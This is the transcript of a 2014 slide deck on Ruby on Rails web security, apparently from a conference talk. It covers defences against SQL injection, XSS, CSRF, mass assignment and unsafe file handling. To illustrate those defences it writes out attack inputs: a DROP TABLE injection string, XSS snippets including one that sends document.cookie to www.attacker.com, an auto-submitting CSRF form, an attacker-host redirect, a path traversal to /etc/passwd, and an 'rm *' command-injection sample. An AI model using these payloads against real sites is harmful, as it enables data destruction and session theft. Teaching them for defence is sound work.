rails security
Post on 12-Sep-2014
16.483 views
DESCRIPTION
TRANSCRIPT
About Me• 張文鈿 a.k.a. ihower
• http://ihower.tw
• http://twitter.com/ihower
• http://github.com/ihower
• Ruby on Rails Developer since 2006
• Ruby Taiwan Community
• http://ruby.tw
Defense in Depth
• Network: firewalls, IDS
• Operating system
• Web server
• Web application
• Database
75% of attacks are at the web application layer
(By The Gartnet Group estimation)
What is Security?
• a measurement, not a characteristic
• not a simple requirement to be met...
• must be balanced with expense
• it’s easy and relatively inexpensive to provide a sufficient level of security for most applications. But if you need more...
• must be balanced with usability
• it’s often increase security also decrease the user usability...
• must be part of the design
(from PHP Security Guide: Overview)
Okay, your users are evil,they will give you illegitimate operation and data.
Agenda• Information leaks
• Session
• SQL injection
• Mass assignment
• Unscoped finds
• Controller Exposing methods
• XSS
• CSRF
• File uploads/download
• DoS
• Host
Information Leaks
• Rails app?
• Web and Application server?
• SVN metadata?
Rails app?• Default static files
• /javascript/application.js
• /stylesheets/application.css
• /images/
• URL schema
• /post/show/3
• /users/5
• 404/500/422 pages
Web and Application Server?
• Server Header
• apache
• nginx
• mongrel
• mod_rails
Disable Server HeaderServer:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch Phusion_Passenger/2.2.9
# apache2.confServerSignature OffServerTokens Prod
Server:Apache
✓
SVN metadata
• GET http://your_site.org/.svn/entries
<DirectoryMatch "^/.*/\.svn/"> ErrorDocument 403 /404.html Order allow,deny Deny from all Satisfy All</DirectoryMatch>
✓
Or just delete it: http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
Sensitive Information
• Do not store sensitive information in the clear
• cookie
• session(or flash)
• memory for a long time
• log files
• cache
Filter Log params
Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"}
# Rails 2.xclass ApplicationController < ActionController::Base filter_parameter_logging "password" end
Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
!
✓
Cookie Session Storage
• Don’t use a trivial secret
• Don’t store any secret information here
• Or.... just switch to another session storage
# config/initializers/session_store.rbActionController::Base.session = { :key => '_app_session', :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'}
SessionThe session id is a 32 byte long MD5 hash value.
• Hijacking
• Fixation
• reset_session after every login
SQL injection
Project.find(:all, :conditions => "name = '#{params[:name]}'")
SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’
!x'; DROP TABLE users; --
SQL injectionvulnerabilities:
• find_by_sql
• execute
• find with conditions in a string
• limit and offset (before rails 2.1.1)
• group_by
• order
Always use the hash or array form
Project.find(:all, :conditions => { :name => params[:name] } )# orProject.find(:all, :conditions => ["name = ?", params[:name] ] )
✓
Only allow predefine value
class User < ActiveRecord::Base
def self.find_with_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) find(:all, :limit => 1, :order => order ) end end
✓
Use quote if you need pass it directly
ActiveRecord::Base::connection.quote
class User < ActiveRecord::Base
def self.find_with_order(order) find(:all, :order => connection.quote(order) ) end end
✓
Mass assignment
!def create params[:user] #=> {:name => “ow3ned”, :is_admin => true} @user = User.create(params[:user])end
def update @user = User.update_attributes(params[:user])end
Protect it!
class User < ActiveRecord::Base attr_protected :adminend
# or
class User < ActiveRecord::Base attr_accessible :nameend
✓
Assign protected attributes manually
params[:user] #=> {:name => "ow3ned", :admin => true}@user = User.new(params[:user])@user.admin #=> false # not [email protected] = [email protected] #=> true
Unscoped finds
class UserOrdersController < ApplicationController
def show @order = Order.find(params[:id])end
def show @order = current_user.orders.find(params[:id]end
✓
!
Controller Exposing methods
• Use protected and private
• If use RESTful design, do not use default routes
• http://ihower.tw/blog/archives/3265
<script>alert('HACK YOU!');</script>
<img src=javascript:alert('HACK YOU!')>
<table background="javascript:alert('HACK YOU!')">
<script>document.write(document.cookie);</script>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
XSS(Cross-Site Scripting)malicious users inject client-side script into web pages viewed by other users
• Do not want to build black-list, you can find more at http://ha.ckers.org/xss.html
XSS Protection (Rails2)
• Use escapeHTML() (or its alias h()) method
• Plugins
• http://github.com/nzkoz/rails_xss (for Rails 2.3)
• http://agilewebdevelopment.com/plugins/safe_erb
• http://code.google.com/p/xss-shield/ (Tainting way)
• Rails 3 auto escape string
• Unless you html_safe or raw string
• “<p>safe</p>”.html_safe
• raw(“<p>safe</p>”)
XSS Protection (Rails3)
Allow user to use simple HTML code
• Use white-list sanitize() method
• If you use Textile or Markdown markup language, you still need sanitize it.
CSRFCross-Site Request Forgery
Use another users’ authorization token to interact with a web application as the trusted
user in a malicious way.
CSRF protection (1)
• Use GET request for safe operation such as a query, read operation, or lookup
• Use POST request for any destructive actions such as create, update, delete
But...
• POST requests can be sent automatically, too. An example:
<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
CSRF protection (2)protect_from_forgery will check all POST requests for a security token
class ApplicationController < ActionController::Base protect_from_forgeryend
<form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="put" /> <input name="authenticity_token" type="hidden" value="cuI+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div>
✓
RedirectionDo not allow user to pass (parts of) the URL for redirection directly
def legacy redirect_to(params.update(:action=>'main'))end
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
!
File Uploads: Overwrite
• Make sure file uploads don’t overwrite important files. eg. “../../../etc/passwd”
• Validate file name is simple. Don’t try to remove malicious parts.
• Use plugins: attachment_fu or paperclip
File Uploads: Executable
• never to allow users to upload any extension associated with executable content on your site (.php, .cgi ...etc)
• when user download, set the appropriate Content-Type HTTP header, eliminate the potential for XSS attacks.
• or never let these files be not accessible to your web server (outside the DocumentRoot in Apache)
File downloads Make sure users cannot download arbitrary files.
send_file('/var/www/uploads/' + params[:filename])!
Command Line Injection
system("/bin/echo","hello; rm *")# prints "hello; rm *" and does not delete files
!
denial-of-service attacks (DoS)
• Avoid Long-running action, use background-processing.
• Don’t bother your application server
• Use Web server provide static files
• Use HTTP reverse proxy if need
Host• Platform (Windows, Linux, Solaris, BSDs)
choosing one which you can trust and familiar
• Firewallyou can use nmap tool to show which ports are open
• SSH: move port 22 to another
• Turn off any services that you aren’t using.
• Hire system administrator to helpYour time as a developer should be spent on the things your are good at.
One more concept...
Fail Close# fail open way, it’s baddef show @invoice = Invoice.find(params[:id])
unless @user.validate_code( @invoice.code ) redirect_to :action => 'not_authorized' endend
# fail close waydef show @invoice = Invoice.find(params[:id]) if @user.validate_code( @invoice.code ) redirect_to :action => 'authorized else redirect_to :action => 'not_authorized' end end
!
✓
Whitelistinguse whitelist, blacklist is hardly complete
admins = %{ihower ihover}
# fail close wayif admins.include? user redirect_to :action => 'authorized'else redirect_to :action => 'not_authorized'end
# fail open way, don’t do thisif !admins.include? user redirect_to :action => 'not_authorized' else redirect_to :action => 'authorized'end
!
✓
Conclusion
• Rails has many security features enabled by default
• SQL quoting
• HTML sanitization
• CSRF protection
Reference• Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application
(Pragmatic)
• Rails2 Chap.13 Security and Performance Enhancements (friendsof)
• Advanced Rails Chap.5 Security (O’Reilly)
• Security Audit by Aaron Bedra (Peepcode)
• Security on Rails (Pragmatic)
• PHP Security Guide
• http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap
• http://guides.rubyonrails.org/security.html
• http://www.rorsecurity.info
• http://asciicasts.com/episodes/178-seven-security-tips
• http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/
• http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide
• http://www.owasp.org
The End感謝聆聽